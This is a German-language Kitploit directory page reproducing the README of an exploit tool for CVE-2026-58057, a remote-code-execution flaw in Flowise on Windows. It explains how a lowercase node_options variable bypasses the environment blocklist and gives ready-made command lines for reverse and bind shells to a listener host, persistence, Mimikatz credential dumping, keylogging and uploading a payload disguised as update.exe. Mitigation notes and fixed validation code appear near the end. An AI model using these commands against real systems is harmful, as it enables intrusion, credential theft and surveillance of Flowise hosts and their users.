Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Flowise-CVE-2026-58057-exploit — Flowise Windows-RCE-Exploit für CVE-2026-58057. Umgeht die Validierung von Umgebungsvariablen über eine Schwachstelle bei der Groß-/Kleinschreibung. Verwendet node_options, um über MCP stdio beliebigen Code einzuschleusen. Unterstützt Reverse Shell, Persistenz, Datei-Upload und Credential-Dumping. Nur für autorisierte Sicherheitstests. | Kitploit
Tools/GitHubGitHub/cerberusmrxi/flowise-cve-2026-58057-exploit
PersistenzmechanismenSchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPost-ExploitationPenetrationstestsCommand and ControlRed Teaming
Payload-Entwicklung
GitHubcerberusmrxi/flowise-cve-2026-58057-exploit

Flowise-CVE-2026-58057-exploit

Repository anzeigen
19vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Flowise Windows-RCE-Exploit für CVE-2026-58057. Umgeht die Validierung von Umgebungsvariablen über eine Schwachstelle bei der Groß-/Kleinschreibung. Verwendet node_options, um über MCP stdio beliebigen Code einzuschleusen. Unterstützt Reverse Shell, Persistenz, Datei-Upload und Credential-Dumping. Nur für autorisierte Sicherheitstests.

Teilen

Flowise CVE-2026-58057 - Windows-Exploit für Remote-Code-Ausführung

Project Badge CVE Badge Author Badge Version Badge CVSS Score Badge

Affected Versions Badge
Fixed Version Badge

📋 Übersicht

Dies ist ein produktionsreifer Exploit für CVE-2026-58057, eine kritische Schwachstelle zur Remote-Code-Ausführung in Flowise auf Windows-Plattformen. Die Schwachstelle entsteht durch eine case-sensitive Validierung von Umgebungsvariablen, die kleingeschriebenes node_options nicht blockiert, sodass Angreifer die NODE_OPTIONS-Blocklist umgehen und über die Custom-MCP-stdio-Konfiguration beliebigen Code ausführen können.

Der Exploit demonstriert professionelle Softwareentwicklungspraktiken mit modularer Architektur, umfassender Fehlerbehandlung und Unterstützung für mehrere Payload-Typen.

f1

f2

⚠️ Haftungsausschluss

WICHTIG: Dieses Tool ist ausschließlich für autorisierte Sicherheitstests, Penetrationstests und Bildungszwecke bestimmt. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch diese Software verursacht werden. Holen Sie immer eine ordnungsgemäße Genehmigung ein, bevor Sie ein System testen.

🔍 Technische Details

Grundursache der Schwachstelle

root@kitploit:~
# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous:  # Only blocks exact uppercase match
    raise ValueError(f"Modification not allowed")

Exploit-Mechanismus

  1. Der Angreifer authentifiziert sich bei Flowise
  2. Erstellt/ändert einen Custom-MCP-stdio-Knoten
  3. Injiziert die Umgebungsvariable node_options in Kleinbuchstaben
  4. Setzt den Wert auf --require malicious-loader.js
  5. Node.js führt den Loader aus, wenn MCP stdio ausgeführt wird
  6. Beliebige Codeausführung erreicht

✨ Funktionen

Kernfunktionen

  • ✅ Reverse Shell - Stellt eine Verbindung zurück zum Angreifer-Rechner her
  • ✅ Bind Shell - Öffnet einen lauschenden Port auf dem Ziel
  • ✅ Befehlsausführung - Führt beliebige Systembefehle aus
  • ✅ Datei-Upload - Lädt Dateien auf das Zielsystem hoch
  • ✅ Persistenz - Mehrere Persistenzmechanismen
  • ✅ Informationssammlung - Sammelt Systeminformationen
  • ✅ Credential-Dumping - Mimikatz-Integration
  • ✅ Screenshot-Erfassung - Macht Desktop-Screenshots
  • ✅ Keylogger - Installiert eine Keylogger-Funktion

Technische Funktionen

  • 🔐 Mehrere Authentifizierungsmethoden - API-Schlüssel oder Benutzername/Passwort
  • 🔄 Automatische Wiederholungslogik - Robust gegenüber Netzwerkproblemen
  • 🧹 Selbstreinigend - Entfernt Loader-Dateien vom Ziel
  • 🌐 Plattformübergreifend - Funktioniert unter Windows/Linux/macOS
  • 🎨 Farbige Ausgabe - Verbesserte Lesbarkeit
  • 📊 Ausführliches Debugging - Detaillierte Protokollierung zur Fehlersuche

📦 Installation

Voraussetzungen

  • Python 3.6 oder höher
  • pip (Python-Paketmanager)

Schnellinstallation

root@kitploit:~
# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit

# Install dependencies
pip install -r requirements.txt

# Or minimal installation
pip install requests urllib3

Docker-Installation (Optional )

root@kitploit:~
FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]

🚀 Verwendung

Befehlszeilenoptionen

root@kitploit:~
python3 exploit.py --help

Authentifizierungsoptionen

OptionBeschreibungBeispiel
-t, --targetFlowise-URL (erforderlich)http://localhost:3000
-k, --api-keyFlowise-API-Schlüsselflowise_abc123...
-u, --usernameBenutzernameadmin
-p, --passwordPasswortpassword123

Payload-Optionen

OptionBeschreibungBeispiel
--payloadPayload-Typreverse_shell
--lhostListener-Host192.168.1.100
--lportListener-Port4444
--commandAuszuführender Befehlwhoami
--local-fileHochzuladende Dateipayload.exe
--remote-pathRemote-SpeicherpfadC:\\Temp\\update.exe

Ausführungsoptionen

OptionBeschreibung
--interactiveInteraktive Shell starten
--verboseDebug-Ausgabe aktivieren
--timeoutAnfrage-Timeout in Sekunden
--retriesAnzahl der Wiederholungsversuche

📝 Anwendungsbeispiele

1. Einfache Reverse Shell

root@kitploit:~
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload reverse_shell \
    --lhost 192.168.1.50 \
    --lport 4444

2. Interaktive Reverse Shell

root@kitploit:~
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
    --payload reverse_shell \
    --lhost 192.168.1.50 \
    --lport 4444 \
    --interactive

3. Befehlsausführung

root@kitploit:~
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload command_exec \
    --command "whoami"

4. Datei-Upload

root@kitploit:~
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload file_upload \
    --local-file /path/to/payload.exe \
    --remote-path "C:\\ProgramData\\update.exe"

5. Credential-Dumping (Mimikatz )

root@kitploit:~
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload mimikatz

6. Persistenz-Installation

root@kitploit:~
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload persistence

7. Informationssammlung

root@kitploit:~
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
    --payload info_gather

8. Screenshot-Erfassung

root@kitploit:~
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload screenshot

🎯 Payload-Typen

PayloadBeschreibungArgumente
reverse_shellStellt Verbindung zum Listener her--lhost, --lport
bind_shellÖffnet lauschenden Port--lport
command_execFührt Befehl aus--command
file_uploadLädt Datei auf das Ziel hoch--local-file, --remote-path
persistenceInstalliert PersistenzKeine
info_gatherSammelt SysteminformationenKeine
mimikatzLiest Anmeldeinformationen ausKeine
screenshotMacht ScreenshotKeine
keyloggerInstalliert KeyloggerKeine

🛡️ Gegenmaßnahmen

Flowise aktualisieren

root@kitploit:~
# Upgrade to version 3.1.3 or later
npm install -g flowise@latest
# or
docker pull flowiseai/flowise:latest

Umgehungsmöglichkeiten

  • Zugriff auf die Custom-MCP-Konfiguration einschränken
  • Netzwerksegmentierung implementieren
  • Auf verdächtige Umgebungsvariablen überwachen
  • Web Application Firewall (WAF ) verwenden

Korrigierter Code

root@kitploit:~
# Fixed Validation (Case-Insensitive)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key.upper() in dangerous:  # Case-insensitive check
    raise ValueError(f"Modification not allowed")

📊 Ausgabebeispiele

Erfolgreicher Exploit

root@kitploit:~
[14:32:15] ℹ Starting exploit sequence...
[14:32:15] ℹ Attempting authentication...
[14:32:16] ✓ Authenticated with API key
[14:32:16] ℹ Preparing reverse_shell payload execution...
[14:32:16] ℹ Injecting environment variable...
[14:32:17] ℹ Triggering payload execution...
[14:32:19] ✓ Payload 'reverse_shell' executed successfully!
[14:32:19] ℹ Reverse shell listener ready on 192.168.1.50:4444

Verbose-Modus

root@kitploit:~
[14:32:15] 🔍 Session created with retry strategy
[14:32:15] 🔍 Using existing workspace: ws_123456
[14:32:16] 🔍 Loader written: /tmp/loader_1234_1234567890.js
[14:32:16] 🔍 MCP stdio configuration updated

🐛 Fehlerbehebung

Häufige Probleme

ProblemLösung
SSL-Zertifikatsfehlerpip install --trusted-host pypi.org -r requirements.txt
Zugriff verweigertpip install --user -r requirements.txt
Verbindung abgelehntZiel-URL und Netzwerkverbindung prüfen
Authentifizierung fehlgeschlagenAPI-Schlüssel oder Benutzername/Passwort prüfen
Payload schlägt fehlVerwenden Sie --verbose für detailliertes Debugging
Python-VersionStellen Sie sicher, dass Python 3.6+ installiert ist

Debug-Befehle

root@kitploit:~
# Enable verbose logging
python3 exploit.py -t http://localhost:3000 -k API_KEY --verbose

# Test connectivity
curl -k https://localhost:3000/api/v1/version

# Check Python version
python3 --version

📁 Dateistruktur

root@kitploit:~
flowise-CVE-2026-58057-exploit/
├── exploit.py          # Main exploit script
├── requirements.txt    # Core dependencies
├── README.md          # This documentation
├── LICENSE            # MIT License
└── CHANGELOG.md       # Version history

🤝 Mitwirken

  1. Repository forken
  2. Feature-Branch erstellen (git checkout -b feature/amazing )
  3. Änderungen committen (git commit -m 'Add amazing feature')
  4. Auf den Branch pushen (git push origin feature/amazing)
  5. Pull Request eröffnen

📜 Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert - siehe die Datei LICENSE für Details.

🏆 Danksagungen

  • FlowiseAI für das Produkt
  • Sicherheitsforscher, die ähnliche Schwachstellen entdeckt haben
  • Pentesting-Community für Testmethoden

🔗 Referenzen

  • CVE-2026-58057
  • Flowise GitHub-Repository
  • Flowise-Dokumentation
  • Sicherheit von Node.js-Umgebungsvariablen

📧 Kontakt

Autor: Sudeepa Wanigarathna Sicherheitsforscher & Penetrationstester

⭐ Unterstützung

Wenn Sie dieses Tool nützlich finden, denken Sie bitte daran:

  • ⭐ Das Repository auf GitHub zu markieren (Star)
  • 🔔 Für Updates zu folgen
  • 📝 Probleme oder Vorschläge zu melden

Mit ❤️ für die Sicherheits-Community erstellt

Tool herunterladen